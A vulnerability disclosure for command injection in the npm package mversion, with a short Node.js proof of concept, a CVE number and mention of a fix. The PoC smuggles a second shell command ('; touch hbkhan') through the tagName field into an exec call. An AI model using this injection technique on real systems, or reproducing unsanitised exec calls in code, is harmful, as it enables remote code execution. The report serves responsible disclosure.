Remote Command Execution in mversion

[Hbkhan]

✍️ Description

Affected versions allow an attacker to execute remote commands. The issue occurs because tagName user input is formatted inside the exec function in #L64 is executed without any checks.

🕵️‍♂️ Proof of Concept

// poc.js
// node poc.js

var mversion = require('mversion');

mversion.update({
       version: "major",
       commitMessage: "testing",
       tagName: "; touch hbkhan",
 })

💥 Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

[Hbkhan]

@mikaelbr Can you request CVE for this?

[Hbkhan]

@mikaelbr CVE ID: CVE-2020-7688

It will get populated once the fixed version (2.0.1) will be released.